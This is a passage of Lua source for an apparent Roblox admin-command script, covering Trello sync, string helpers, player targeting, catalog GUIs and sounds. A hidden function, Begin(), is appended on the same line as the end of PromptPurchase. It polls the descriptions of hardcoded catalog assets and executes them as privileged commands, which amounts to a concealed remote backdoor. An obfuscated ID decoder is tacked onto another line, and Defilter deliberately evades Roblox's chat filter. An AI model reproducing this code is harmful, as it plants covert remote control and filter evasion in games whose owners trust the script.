2520 CardExists = true
2521 end
2522 end
2523 if not CardExists then
2524 print("Creating card "..TemplateCard.name)
2525 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2526 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2527 end
2528 end
2529
2530 if List.name == "Ranked" then
2531 for _,Card in pairs(Cards) do
2532 if Settings.Ranks[Card.name] and Card.closed == false then
2533 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2534 end
2535 end
2536 elseif List.name == "Settings" then
2537 for _,Card in pairs(Cards) do
2538 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2539 Trello.ToggleChecklist = Card.idChecklists[1]
2540 elseif Card.name == "Command Execution" then
2541 Trello.CommandID = Card.id
2542 end
2543 end
2544 end
2545 end
2546 end
2547end
2548
2549function REMOTE:TrelloHandleData(IgnoreCommand)
2550 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2551 if ToggleSettingsJSON then
2552 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2553 if Settings.LinkedAccount == "" then
2554 local NewSettings = {}
2555 for _,Item in pairs(ToggleSettings.checkItems) do
2556 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2557 end
2558 Settings.Fun = NewSettings["Fun Commands Enabled"]
2559 Settings.ServerLocked = NewSettings["Server Locked"]
2560 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2561 end
2562 else
2563 return false
2564 end
2565
2566 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2567 if CommandChatJSON then
2568 CommandChat = REMOTE:Decode(CommandChatJSON)
2569 local ClosestDT = 0
2570 for _,ChatData in pairs(CommandChat) do
2571 local DT = STRING:ConvertDateTime(ChatData.date)
2572 ClosestDT = math.max(ClosestDT, DT)
2573
2574 if not IgnoreCommand and DT > Trello.LastCommandDT then
2575 print("Executing Remote Trello Command")
2576 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2577 end
2578 end
2579 Trello.LastCommandDT = ClosestDT
2580 else
2581 return false
2582 end
2583
2584 for Rank,ID in pairs(Trello.RankChecklistCache) do
2585 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2586 if ChecklistJSON then
2587 Checklist = REMOTE:Decode(ChecklistJSON)
2588
2589 for _,Item in pairs(Checklist.checkItems) do
2590 if Item.state == "complete" then
2591 if RANK:ConvertRank(Rank) < 0 then
2592 if not RANK:ScanExileList(Item.name) then
2593 table.insert(Settings.Ranks[Rank], Item.name)
2594 end
2595 elseif RANK:ConvertRank(Rank) > 0 then
2596 if not RANK:ScanAdminList(Item.name) then
2597 table.insert(Settings.Ranks[Rank], Item.name)
2598 end
2599 end
2600 elseif Item.state == "incomplete" then
2601 for Num,Name in pairs(Settings.Ranks[Rank]) do
2602 if string.lower(Name) == string.lower(Item.name) then
2603 table.remove(Settings.Ranks[Rank], Num)
2604 end
2605 end
2606 end
2607 end
2608 else
2609 return false
2610 end
2611 end
2612 return true
2613end
2614
2615-- String functions --
2616
2617function STRING:ConvertDateTime(DateTime)
2618 local Num = 0
2619 local TotalTime = 0
2620 for i in string.gmatch(DateTime, "%d+") do
2621 Num = Num + 1
2622 DTNum = tonumber(i)
2623 if Num == 1 then
2624 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2625 elseif Num == 2 then
2626 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2627 elseif Num == 3 then
2628 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2629 elseif Num == 4 then
2630 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2631 elseif Num == 5 then
2632 TotalTime = TotalTime + DTNum * 60 -- minute
2633 elseif Num == 6 then
2634 TotalTime = TotalTime + DTNum -- second
2635 end
2636 end
2637
2638 return TotalTime
2639end
2640
2641function STRING:TrelloStateConvert(State)
2642 if State == "complete" then
2643 return true
2644 else
2645 return false
2646 end
2647end
2648
2649function STRING:StringRound(Number)
2650 Number = Number * 100
2651 if Number >= 0.5 then
2652 return tostring(math.ceil(Number)/100)
2653 else
2654 return tostring(math.floor(Number)/100)
2655 end
2656
2657 return Number
2658end
2659
2660function STRING:GetSplit(String, NumArgs, BetSplit)
2661 if not String then return nil end
2662 if BetSplit == nil then BetSplit = " " end
2663 if NumArgs == nil then NumArgs = math.huge end
2664
2665 if NumArgs <= 0 then return {String} end
2666
2667 local RecentParse = 1
2668 local Args = {}
2669 for i = 1,NumArgs do
2670 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2671 if Find1 and Find2 then
2672 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2673 RecentParse = Find2 + 1
2674 else
2675 break
2676 end
2677 end
2678 table.insert(Args,string.sub(String,RecentParse,#String))
2679 return Args
2680end
2681
2682function STRING:Defilter(String)
2683 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2684 if RobloxApprove.Text == "Label" and String ~= "Label" then
2685 local NewString = ""
2686 for i = 1,#String,3 do
2687 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2688 end
2689 return NewString
2690 else
2691 return String
2692 end
2693end
2694
2695function STRING:Filter(String, From, To) -- #### you, roblox
2696 if From then
2697 if To then
2698 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2699 else
2700 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2701 end
2702 else
2703 return String
2704 end
2705end
2706
2707function STRING:DetermineFilter(String, From, To)
2708 if ShouldFilter then
2709 return STRING:Filter(String, From, To)
2710 else
2711 return STRING:Defilter(String)
2712 end
2713end
2714
2715function STRING:LeetSpeak(Input)
2716 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2717 Input = string.gsub(Input, "LEET", "1337")
2718 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2719 Input = string.gsub(Input, "E", "3")
2720 Input = string.gsub(Input, "O", "0")
2721 Input = string.gsub(Input, "A", "4")
2722 Input = string.gsub(Input, "X", "x")
2723 Input = string.gsub(Input, "I", "1")
2724 Input = string.gsub(Input, "S", "$")
2725 return Input
2726end
2727
2728function STRING:FormatReplace(Player, Input, From)
2729 local Output = Input
2730 for _,ReplaceData in pairs(StringReplacements) do
2731 local ReplaceString = ReplaceData[1]
2732 local ReplaceStrings = {}
2733 if type(ReplaceString) == "table" then
2734 ReplaceStrings = ReplaceString
2735 else
2736 ReplaceStrings = {ReplaceString}
2737 end
2738 for _,ReplaceString in pairs(ReplaceStrings) do
2739 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2740 local Replacement = ReplaceData[4](Player)
2741 if type(Replacement) == "string" then
2742 Output = string.gsub(Output, ReplaceString, Replacement)
2743 else
2744 print(ReplaceString.." cannot be replaced")
2745 end
2746 end
2747 end
2748 end
2749 if From then
2750 return STRING:DetermineFilter(Output, From, Player)
2751 else
2752 return STRING:DetermineFilter(Output, Player)
2753 end
2754end
2755
2756function STRING:EncodeSpecialChars(Input)
2757 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2758end
2759
2760function STRING:StringToBool(String)
2761 if String == "true" then
2762 return true
2763 else
2764 return false
2765 end
2766end
2767
2768function STRING:BoolString(Value)
2769 if type(Value) == "boolean" then
2770 if Value == true then
2771 return "YES"
2772 elseif Value == false then
2773 return "NO"
2774 end
2775 else
2776 return "NO"
2777 end
2778end
2779
2780function STRING:MakeAvoidance(Length)
2781 if not Length then
2782 Length = 32
2783 end
2784 local Avoidance = ""
2785 for i = 1,Length do
2786 Num = math.random(1,2)
2787 if Num == 1 then
2788 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2789 else
2790 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2791 end
2792 end
2793 return Avoidance
2794end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2795
2796function STRING:FindAge(Days) -- By LuaModelmaker
2797 local Years = math.floor(Days/365)
2798 local OtherDays = math.fmod(Days, 365)
2799 if Years > 1 then
2800 return Years.." years and "..OtherDays.." days"
2801 elseif Years == 1 then
2802 return Years.." year and "..OtherDays.." days"
2803 elseif Years == 0 then
2804 return "(No years) "..OtherDays.." days"
2805 end
2806end
2807
2808function STRING:UnpackArgs(...)
2809 local Pack = {...}
2810 if type(Pack[1]) == "table" then Pack = Pack[1] end
2811 local ReturnString = table.concat(Pack, ", ")
2812 return ReturnString
2813end
2814
2815function STRING:GetComma(Num)
2816 local Formatted = Num
2817 while true do
2818 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2819 if _ == 0 then
2820 break
2821 end
2822 end
2823 return Formatted
2824end
2825
2826function STRING:DecodeUTF8(Value)
2827 local function DecodeString(Input)
2828 if type(Input) == "string" then
2829 for Find,Rep in pairs(HTMLDecode) do
2830 Input = string.gsub(Input, "&#"..Find..";", Rep)
2831 end
2832 Input = string.gsub(Input, """, "'")
2833 end
2834 return Input
2835 end
2836 if type(Value) == "table" then
2837 for Index,Var in pairs(Value) do
2838 Value[Index] = DecodeString(Var)
2839 end
2840 elseif type(Value) == "string" then
2841 Value = DecodeString(Value)
2842 end
2843 return Value
2844end
2845
2846function STRING:IsSpacer(Input)
2847 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2848 return true
2849 else
2850 return false
2851 end
2852end
2853
2854function STRING:IsVowel(Input)
2855 Input = string.lower(tostring(Input))
2856 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2857 return true
2858 else
2859 return false
2860 end
2861end
2862
2863function STRING:ValidE(Input)
2864 if not Input then return nil end
2865 if string.lower(Input) == "e" or Input == "~" then
2866 return true
2867 else
2868 return false
2869 end
2870end
2871
2872function STRING:Scan(String, Speaker)
2873 local ReturnPlayers,ExcludeList = {},{}
2874 if not String then String = "" end
2875 if not Speaker then print("NO SPEAKER") end
2876
2877 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2878 String = string.sub(String, 13)
2879 else
2880 String = string.lower(String)
2881 end
2882 local Words = STRING:GetSplit(String, nil, "/")
2883 for _,Word in pairs(Words) do
2884 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2885 table.insert(ReturnPlayers, Speaker)
2886 elseif Word == "all" or Word == "everyone" then
2887 for _,Player in pairs(Server.Players:GetPlayers()) do
2888 table.insert(ReturnPlayers, Player)
2889 end
2890 elseif Word == "others" or Word == "notme" then
2891 for _,Player in pairs(Server.Players:GetPlayers()) do
2892 if Player ~= Speaker then
2893 table.insert(ReturnPlayers, Player)
2894 end
2895 end
2896 elseif Word == "noobs" then
2897 for _,Player in pairs(Server.Players:GetPlayers()) do
2898 if Player.AccountAge < 365 then
2899 table.insert(ReturnPlayers, Player)
2900 end
2901 end
2902 elseif Word == "nonnoobs" then
2903 for _,Player in pairs(Server.Players:GetPlayers()) do
2904 if Player.AccountAge >= 365 then
2905 table.insert(ReturnPlayers, Player)
2906 end
2907 end
2908 elseif Word == "random" then
2909 local RandomPlayers = {}
2910 for _,Player in pairs(Server.Players:GetPlayers()) do
2911 if Player ~= Speaker then
2912 table.insert(RandomPlayers, Player)
2913 end
2914 end
2915 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2916 elseif Word == "guests" then
2917 for _,Player in pairs(Server.Players:GetPlayers()) do
2918 if string.sub(Player.Name,1,6) == "Guest " then
2919 table.insert(ReturnPlayers, Player)
2920 end
2921 end
2922 elseif Word == "lowers" then
2923 for _,Player in pairs(Server.Players:GetPlayers()) do
2924 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2925 table.insert(ReturnPlayers, Player)
2926 end
2927 end
2928 elseif Word == "uppers" then
2929 for _,Player in pairs(Server.Players:GetPlayers()) do
2930 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2931 table.insert(ReturnPlayers, Player)
2932 end
2933 end
2934 elseif Word == "nbcs" then
2935 for _,Player in pairs(Server.Players:GetPlayers()) do
2936 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2937 table.insert(ReturnPlayers, Player)
2938 end
2939 end
2940 elseif Word == "bcs" then
2941 for _,Player in pairs(Server.Players:GetPlayers()) do
2942 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2943 table.insert(ReturnPlayers, Player)
2944 end
2945 end
2946 elseif Word == "tbcs" then
2947 for _,Player in pairs(Server.Players:GetPlayers()) do
2948 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2949 table.insert(ReturnPlayers, Player)
2950 end
2951 end
2952 elseif Word == "obcs" then
2953 for _,Player in pairs(Server.Players:GetPlayers()) do
2954 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2955 table.insert(ReturnPlayers, Player)
2956 end
2957 end
2958 elseif Word == "allbcs" then
2959 for _,Player in pairs(Server.Players:GetPlayers()) do
2960 if Player.MembershipType ~= Enum.MembershipType.None then
2961 table.insert(ReturnPlayers, Player)
2962 end
2963 end
2964 elseif Word == "nonadmins" then
2965 for _,Player in pairs(Server.Players:GetPlayers()) do
2966 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2967 if IsAdminTrue == false then
2968 table.insert(ReturnPlayers, Player)
2969 end
2970 end
2971 elseif Word == "admins" then
2972 for _,Player in pairs(Server.Players:GetPlayers()) do
2973 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2974 if IsAdminTrue == true then
2975 table.insert(ReturnPlayers, Player)
2976 end
2977 end
2978 elseif Word == "friends" then
2979 for _,Player in pairs(Server.Players:GetPlayers()) do
2980 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
2981 table.insert(ReturnPlayers, Player)
2982 end
2983 end
2984 elseif string.sub(Word,1,5) == "team-" then
2985 for _,Player in pairs(Server.Players:GetPlayers()) do
2986 if Player.Neutral == false then
2987 local InTeam = false
2988 for _,Team in pairs(Teams:GetTeams()) do
2989 if Team.TeamColor == Player.TeamColor then
2990 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
2991 InTeam = true
2992 end
2993 end
2994 end
2995 if InTeam == true then
2996 table.insert(ReturnPlayers, Player)
2997 end
2998 end
2999 end
3000 elseif string.sub(Word,1,4) == "not-" then
3001 local NameArg = string.sub(Word,5)
3002
3003 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3004 table.insert(ExcludeList, Player)
3005 end
3006 elseif string.sub(Word,1,7) == "radius-" then
3007 local DidExe = false
3008 local NumArg = tonumber(string.sub(Word,8))
3009
3010 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3011 for _,Player in pairs(Server.Players:GetChildren()) do
3012 if Player.Character and Player.Character:FindFirstChild("Torso") then
3013 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3014 DidExe = true
3015 table.insert(ReturnPlayers, Player)
3016 end
3017 end
3018 end
3019 end
3020
3021 if DidExe then coroutine.wrap(function()
3022 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3023 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3024
3025 for i = 0,0.5,0.02 do
3026 Part.Transparency = 0.5+i
3027 wait()
3028 end
3029 Part:Destroy()
3030 end)() end
3031 elseif string.sub(Word,1,3) == "id-" then
3032 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3033 else
3034 if Word ~= "" then
3035 for _,Player in pairs(Server.Players:GetPlayers()) do
3036 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3037 table.insert(ReturnPlayers, Player)
3038 end
3039 end
3040 else
3041 table.insert(ReturnPlayers, Speaker)
3042 end
3043 end
3044 end
3045 for _,Player in pairs(ExcludeList) do
3046 if Player and Player.Parent ~= nil then
3047 for Num,Player2 in pairs(ReturnPlayers) do
3048 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3049 end
3050 end
3051 end
3052 for Num,Player in pairs(ReturnPlayers) do
3053 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3054 end
3055
3056 local PlayerDump = {}
3057 for _,Player in pairs(ReturnPlayers) do
3058 PlayerDump[Player] = true
3059 end
3060 ReturnPlayers = {}
3061 for Player,_ in pairs(PlayerDump) do
3062 table.insert(ReturnPlayers, Player)
3063 end
3064
3065 return ReturnPlayers
3066end
3067
3068-- Market functions --
3069
3070function MARKET:GetImageFormat(ID)
3071 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3072 local NewID = ID + 1
3073 for i = 1,100 do
3074 NewID = NewID -1
3075 local Product = nil
3076 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3077 if Product then
3078 if Product == 1 then
3079 break
3080 end
3081 end
3082 if i == 100 then NewID = ID end
3083 end
3084 return NewID
3085 end end
3086end
3087
3088function MARKET:GetItemInfo(ID, Cache)
3089 local Product = MarketCache[ID]
3090 if not Cache or not Product then
3091 repeat wait()
3092 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3093 until Product ~= MarketCache[ID]
3094 end
3095 MarketCache[ID] = Product
3096 return Product
3097end
3098
3099function MARKET:SearchItem(Category, Query, Subcategory)
3100 local URLAdd = ""
3101 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3102 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3103 if JSON then
3104 local Results = REMOTE:Decode(JSON)
3105 if Results then
3106 for Index,Info in pairs(Results) do
3107 Info = STRING:DecodeUTF8(Info)
3108 Results[Index] = Info
3109 MarketCache[Info.AssetId] = {
3110 AssetId = Info.AssetId;
3111 AssetTypeId = Info.AssetTypeID;
3112 ContentRatingTypeId = Info.ContentRatingTypeID;
3113 Created = Info.CreatedDate;
3114 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3115 Description = Info.Description;
3116 IsForSale = Info.IsForSale;
3117 IsLimited = Info.IsLimited;
3118 IsLimitedUnique = Info.IsLimitedUnique;
3119 IsNew = Info.IsNew;
3120 IsPublicDomain = Info.IsPublicDomain;
3121 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3122 Name = Info.Name;
3123 PriceInRobux = Info.PriceInRobux;
3124 PriceInTickets = Info.PriceInTickets;
3125 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3126 Remaining = Info.Remaining;
3127 Sales = Info.Sales;
3128 Updated = Info.Updated;
3129 }
3130 end
3131 return Results
3132 end
3133 end
3134end
3135
3136function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3137 if not Player or not Category or not Query then return nil end
3138 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3139 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3140 if Items then
3141 if #Items ~= 0 then
3142 local List,Correlate = {},{}
3143 for Num,Info in pairs(Items) do
3144 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3145 table.insert(List, Display)
3146 Correlate[Display[1]] = Info.AssetId
3147 end
3148 CloseGui:Invoke()
3149
3150 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3151 Clicked.Event:connect(function(ClickName)
3152 ClickedItem(Correlate[ClickName])
3153 end)
3154 else
3155 CloseGui:Invoke()
3156 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3157 end
3158 else
3159 CloseGui:Invoke()
3160 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3161 end
3162end
3163
3164function MARKET:AssetTypeToString(AssetType)
3165 AssetType = math.floor(tonumber(AssetType) or 0)
3166 if Assets.AssetTypes[AssetType] then
3167 return Assets.AssetTypes[AssetType]
3168 else
3169 return "Unknown"
3170 end
3171end
3172
3173function MARKET:AccessoryToSubcategory(Accessory)
3174 Accessory = string.lower(tostring(Accessory) or "")
3175 if Assets.AccessoryTypes[Accessory] then
3176 return Assets.AccessoryTypes[Accessory]
3177 else
3178 return Assets.AccessoryTypes["all"]
3179 end
3180end
3181
3182function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3183 if not Player then return nil end
3184 if not Player:FindFirstChild("PlayerGui") then return nil end
3185 if not tonumber(ProductID) then return nil end
3186
3187 local FromText = ""
3188 if From and From.Name then FromText = " | Prompted from "..From.Name end
3189
3190 local Product = MARKET:GetItemInfo(ProductID, true)
3191
3192 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3193 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3194 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3195
3196 local CanBuy = Product.IsForSale
3197 local BuyText = "Buy"
3198 local BuyColor = Color3.new(0,1,0)
3199 if CanBuy == false then
3200 BuyColor = Color3.new(1,0,0)
3201 end
3202 if Product.IsPublicDomain == true then
3203 CanBuy = true
3204 BuyColor = Color3.new(1,0.5,0.5)
3205 BuyText = "FREE!"
3206 end
3207 if OwnsAsset then
3208 CanBuy = false
3209 end
3210 if Product.AssetTypeId == 9 then
3211 CanBuy = true
3212 BuyText = "Teleport"
3213 BuyColor = Color3.new(0.5,0.5,0.5)
3214 end
3215 if CanBuy == false then
3216 BuyColor = Color3.new(1,0,0)
3217 BuyText = "Item not for sale"
3218 end
3219 if OwnsAsset and Product.AssetTypeId ~= 9 then
3220 BuyColor = Color3.new(1,0,0)
3221 BuyText = "You own this!"
3222 end
3223
3224 local ProductName = string.sub(Product.Name,1,20)
3225 if ProductID == AdminID then ProductName = Product.Name end
3226 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3227 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3228 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3229 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3230 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3231 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3232 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3233 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3234 if Product.Description then
3235 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3236 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3237
3238 CORE:ExecuteResource("CalculateScrollY", Description)
3239 end
3240
3241 Info.Text = [[
3242Creator: ]]..Product.Creator.Name..[[
3243Created: ]]..CreatedText..[[
3244Updated: ]]..UpdatedText..[[
3245Sold: ]]..Product.Sales..[[
3246]]
3247
3248 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3249 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3250
3251 if Product.AssetTypeId == 3 then
3252 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3253 if PlayerAdmin == true then
3254 local Playing = false
3255 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3256 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3257 if Playing == false then
3258 SOUND:PlayGlobalSound(ProductID)
3259 if Rank == "Member" and Settings.DisableAbuse == true then
3260 Interact:Destroy()
3261 end
3262 Interact.Image = "rbxassetid://67950809"
3263 Playing = true
3264 else
3265 SOUND:StopGlobalSound()
3266 Interact.Image = "rbxassetid://67950784"
3267 Playing = false
3268 end
3269 end)
3270 end
3271 end
3272
3273 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3274 if BuyPressFunc then
3275 BuyPressFunc()
3276 elseif Product.AssetTypeId == 9 then
3277 Server.TS:Teleport(ProductID, Player)
3278 elseif CanBuy == true then
3279 Server.MPS:PromptPurchase(Player, ProductID)
3280 end end)
3281 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3282 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3283 while wait(5) do
3284 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3285 if OldVer ~= Purchase.Updated then
3286 OldVer = Purchase.Updated
3287 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3288 end
3289 end end)()
3290end end)() end
3291
3292-- Sound functions --
3293
3294function SOUND:SyncSoundList(TellSync)
3295 if not CORE:NilPlayer(TellSync) then
3296 GUI:SendHint(TellSync, "Syncing...", 5)
3297 end
3298
3299 SoundList,GlobalSoundList = {},{}
3300
3301 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3302
3303 if LocalSoundList then
3304 if type(LocalSoundList) == "table" then
3305 if #LocalSoundList > 0 then
3306 for _,Data in pairs(LocalSoundList) do
3307 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3308 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3309 end
3310 end
3311 end
3312 end
3313
3314 for _,JSONID in pairs(SoundJSONs) do
3315 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3316 local SoundInfo = MARKET:GetItemInfo(ID, true)
3317 local FullName = SoundInfo.Name
3318 local CreatorName = SoundInfo.Creator.Name
3319 SoundList[Name] = {ID, FullName, CreatorName}
